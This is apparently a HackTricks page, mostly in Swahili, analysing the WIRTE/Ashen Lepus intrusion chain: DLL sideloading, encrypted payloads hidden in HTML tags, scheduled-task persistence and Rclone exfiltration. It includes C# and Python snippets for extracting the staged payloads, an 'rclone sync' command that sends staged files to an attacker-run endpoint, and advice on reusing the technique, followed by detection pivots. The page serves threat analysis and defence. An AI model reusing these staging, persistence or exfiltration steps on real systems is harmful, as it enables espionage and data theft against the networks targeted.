Advanced DLL Side-Loading With HTML-Embedded Payload Staging
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Tradecraft Overview
Ashen Lepus (aka WIRTE) alitumia muundo unaorudiwa unaounganisha DLL sideloading, staged HTML payloads, na modular .NET backdoors ili kudumu ndani ya mitandao ya ubalozi ya Mashariki ya Kati. Tekniku hii inaweza kutumika tena na operator yeyote kwa sababu inategemea:
- Archive-based social engineering: PDFs zisizo hatari zinaelekeza walengwa kuvuta archive ya RAR kutoka kwenye tovuti ya kushiriki faili. Archive inajumuisha EXE ya muonekano wa kweli ya document viewer, DLL hatari iliyoitwa kwa jina la maktaba ya kuaminika (mfano,
netutils.dll,srvcli.dll,dwampi.dll,wtsapi32.dll), naDocument.pdfya kuonesha. - DLL search order abuse: lengo linabonyeza mara mbili EXE, Windows hutatua import ya DLL kutoka kwenye directory ya sasa, na loader hatari (AshenLoader) inatekelezwa ndani ya process inayotolewa kuaminiwa wakati PDF ya kuonesha inafunguka ili kuepusha shaka.
- Living-off-the-land staging: kila hatua zinazofuata (AshenStager → AshenOrchestrator → modules) zinahifadhiwa nje ya disk hadi zinapotakiwa, zikitolewa kama encrypted blobs zilizofichwa ndani ya majibu ya HTML ambayo vinginevyo ni zisizo hatari.
Multi-Stage Side-Loading Chain
- Decoy EXE → AshenLoader: EXE inafanya side-load ya AshenLoader, ambayo hufanya host recon, inaifunga kwa AES-CTR, na kuipost ndani ya parameters zinazozunguka kama
token=,id=,q=, auauth=kwa njia zinazofanana na API (mfano,/api/v2/account). - HTML extraction: C2 hutoa tu hatua inayofuata wakati IP ya mteja ina geolocate kwa mkoa la lengo na
User-Agentinafanana na implant, ikichanganya sandboxes. Wakati ukaguzi unapita mwili wa HTTP una<headerp>...</headerp>blob yenye Base64/AES-CTR encrypted AshenStager payload. - Second sideload: AshenStager inatumiwa pamoja na binary halali nyingine inayofanya import
wtsapi32.dll. Nakala hatari iliyochomwa ndani ya binary inachukua HTML zaidi, wakati huu ikikatakata<article>...</article>ili kurejesha AshenOrchestrator. - AshenOrchestrator: controller modular .NET inayotafsiri config ya JSON iliyobase64. Mashamba ya config
tgnaauyanachanganwa/kuhashiwa kuwa AES key, ambayo ina-decryptxrk. Bytes zinazotokana zinatumika kama XOR key kwa kila module blob inayopatikana baadae. - Module delivery: kila module inaelezewa kupitia maoni ya HTML yanayomwelekeza parser kwa tag yoyote, kuvunja sheria za static zinazotafuta tu
<headerp>au<article>. Modules zinajumuisha persistence (PR*), uninstallers (UN*), reconnaissance (SN), screen capture (SCT), na file exploration (FE).
Mfano wa Kuchambua Kontena la HTML
var tag = Regex.Match(html, "<!--\s*TAG:\s*<(.*?)>\s*-->").Groups[1].Value;
var base64 = Regex.Match(html, $"<{tag}>(.*?)</{tag}>", RegexOptions.Singleline).Groups[1].Value;
var aesBytes = AesCtrDecrypt(Convert.FromBase64String(base64), key, nonce);
var module = XorBytes(aesBytes, xorKey);
LoadModule(JsonDocument.Parse(Encoding.UTF8.GetString(module)));
Hata kama walinzi watazuia au kuondoa kipengele maalum, operator anahitaji tu kubadilisha tag iliyoashiriwa katika HTML comment ili kuendelea na utoaji.
Msaidizi wa Uchimbaji wa Haraka (Python)
import base64, re, requests
html = requests.get(url, headers={"User-Agent": ua}).text
tag = re.search(r"<!--\s*TAG:\s*<(.*?)>\s*-->", html, re.I).group(1)
b64 = re.search(fr"<{tag}>(.*?)</{tag}>", html, re.S | re.I).group(1)
blob = base64.b64decode(b64)
# decrypt blob with AES-CTR, then XOR if required
HTML Staging Evasion Parallels
Utafiti wa hivi karibuni wa HTML smuggling (Talos) unaonyesha payload zilizofichwa kama Base64 strings ndani ya <script> blocks katika attachments za HTML na zilizotafsiriwa kwa kutumia JavaScript wakati wa runtime. Njia ile ile inaweza kutumika tena kwa majibu ya C2: weka blobs zilizofichwa kwa encryption ndani ya tag ya script (au elementi nyingine ya DOM) na uzitafsiri kwa memory kabla ya AES/XOR, ikifanya ukurasa uonekane kama HTML ya kawaida. Talos pia inaonyesha obfuscation ya tabaka (renaming ya identifiers pamoja na Base64/Caesar/AES) ndani ya script tags, ambayo inaendana vizuri na HTML-staged C2 blobs.
Recent Variant Notes (2024-2025)
- Check Point iliona campaigns za WIRTE mwaka 2024 ambazo zilitegemea sideloading inayotegemea archives lakini zilitumia
propsys.dll(stagerx64) kama stage ya kwanza. Stager ilitafsiri payload inayofuatia kwa Base64 + XOR (key53), ilituma HTTP requests naUser-Agentiliyowekwa hardcoded, na ikachambua blobs zilizofichwa zilizowekwa kati ya HTML tags. Katika tawi moja, stage ilijengwa tena kutoka kwa orodha ndefu ya strings za IP zilizowekwa ambazo zilitatfiwa kwaRtlIpv4StringToAddressA, kisha zikachanganishwa kuwa bytes za payload. - OWN-CERT ilitandika tooling ya awali ya WIRTE ambapo dropper iliyosideloaded
wtsapi32.dllililinda strings kwa Base64 + TEA na kutumia jina la DLL yenyewe kama key ya decryption, kisha XOR/Base64-ila data ya kitambulisho cha host kabla ya kuituma kwa C2.
Crypto & C2 Hardening
- AES-CTR everywhere: loaders za sasa zinaingiza 256-bit keys pamoja na nonces (mfano,
{9a 20 51 98 ...}) na hiari zinaongeza layer ya XOR kutumia strings kamamsasn1.dllkabla/baada ya decryption. - Key material variations: loaders za awali zililitumia Base64 + TEA kulinda strings zilizojazwa ndani, na key ya decryption ilitokana na jina la DLL iliyo hatari (mfano,
wtsapi32.dll). - Infrastructure split + subdomain camouflage: staging servers zimegawanywa kwa zana, zikiwa zimekaa kwenye ASNs tofauti, na wakati mwingine zikiwa mbelekwa na subdomains zinazoonekana halali, hivyo kuchoma stage moja hakufichui zingine.
- Recon smuggling: data iliyoorodheshwa sasa inajumuisha orodha za Program Files ili kutambua apps zenye thamani kubwa na daima imefichwa kabla haijaondoka kwenye host.
- URI churn: query parameters na REST paths hubadilika kati ya campaigns (
/api/v1/account?token=→/api/v2/account?auth=), ikiharibu detections zilizo tete. - User-Agent pinning + safe redirects: miundombinu ya C2 inajibu tu kwa strings za UA sahihi; vinginevyo inarudisha kwa tovuti za habari/afya zisizo za hatari ili kuingia mchanganyiko.
- Gated delivery: servers zimewekwa geo-fenced na kujibu tu implants halisi. Wateja wasioidhinishwa wanapokea HTML isiyoibua shaka.
Persistence & Execution Loop
AshenStager inaweka scheduled tasks zinazojipatia muonekano wa kazi za matengenezo ya Windows na zinaendesha kupitia svchost.exe, kwa mfano:
C:\Windows\System32\Tasks\Windows\WindowsDefenderUpdate\Windows Defender UpdaterC:\Windows\System32\Tasks\Windows\WindowsServicesUpdate\Windows Services UpdaterC:\Windows\System32\Tasks\Automatic Windows Update
Tasks hizi zinaanzisha tena mnyororo wa sideloading wakati wa boot au kwa interval, zikihakikisha AshenOrchestrator inaweza kuomba modules mpya bila kuandika tena disk.
Using Benign Sync Clients for Exfiltration
Operators wameweka nyaraka za kifalme ndani ya C:\Users\Public (inakiswauliwa na kila mtu na isiyoibua shaka) kupitia module maalum, kisha wanapakua binary halali ya Rclone ili kusynchronize directory hiyo na storage inayoendeshwa na mwindikaji. Unit42 inaonyesha hii ni mara ya kwanza muumizaji huyu ameonekana akitumia Rclone kwa exfiltration, ikifuatana na mwelekeo mkubwa wa kutumia tooling halali za sync ili kujificha ndani ya trafiki ya kawaida:
- Stage: nakili/akusanya faili za lengo ndani ya
C:\Users\Public\{campaign}\. - Configure: tuma config ya Rclone inayomwelekeza kwenye endpoint ya HTTPS inayoendeshwa na mwindaji (mfano,
api.technology-system[.]com). - Sync: endesha
rclone sync "C:\Users\Public\campaign" remote:ingest --transfers 4 --bwlimit 4M --quietili trafiki iwe inafanana na backups za kawaida za cloud.
Kwa kuwa Rclone inatumika sana kwa workflows halali za backup, watetezi wanapaswa kuzingatia utekelezaji usiotabirika (binaries mpya, remotes zisizo za kawaida, au syncing ghafla ya C:\Users\Public).
Detection Pivots
- Onyesha tahadhari kwa processes zilizosigned ambazo ghafla zinapakia DLLs kutoka kwenye paths zinazoweza kuandikwa na mtumiaji (vigezo vya Procmon +
Get-ProcessMitigation -Module), hasa wakati majina ya DLL yanatangamana nanetutils,srvcli,dwampi, auwtsapi32. - Chunguza majibu ya HTTPS yenye mashaka kwa large Base64 blobs embedded inside unusual tags au zilizoanzikwa na maoni ya
<!-- TAG: <xyz> -->. - Panua utafutaji wa HTML kwa Base64 strings inside
<script>blocks (mtindo wa HTML smuggling staging) ambazo zinafutwa kupitia JavaScript kabla ya usindikaji wa AES/XOR. - Tafuta scheduled tasks zinazokimbia
svchost.exena arguments ambazo si za service au zinarejea kwenye directories za dropper. - Fuata C2 redirects ambazo zinarejesha payloads tu kwa strings za
User-Agentkamili na vinginevyo zinarejea kwa domains halisi za habari/afya. - Simamia kutokea kwa binaries za Rclone nje ya maeneo yanayosimamiwa na IT, faili mpya za
rclone.conf, au kazi za sync zinazoleta kutoka directories za staging kamaC:\Users\Public.
References
- Hamas-Affiliated Ashen Lepus Targets Middle Eastern Diplomatic Entities With New AshTag Malware Suite
- Hidden between the tags: Insights into evasion techniques in HTML smuggling
- Hamas-affiliated Threat Actor WIRTE Continues its Middle East Operations and Moves to Disruptive Activity
- WIRTE: In Search of Lost Time
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.


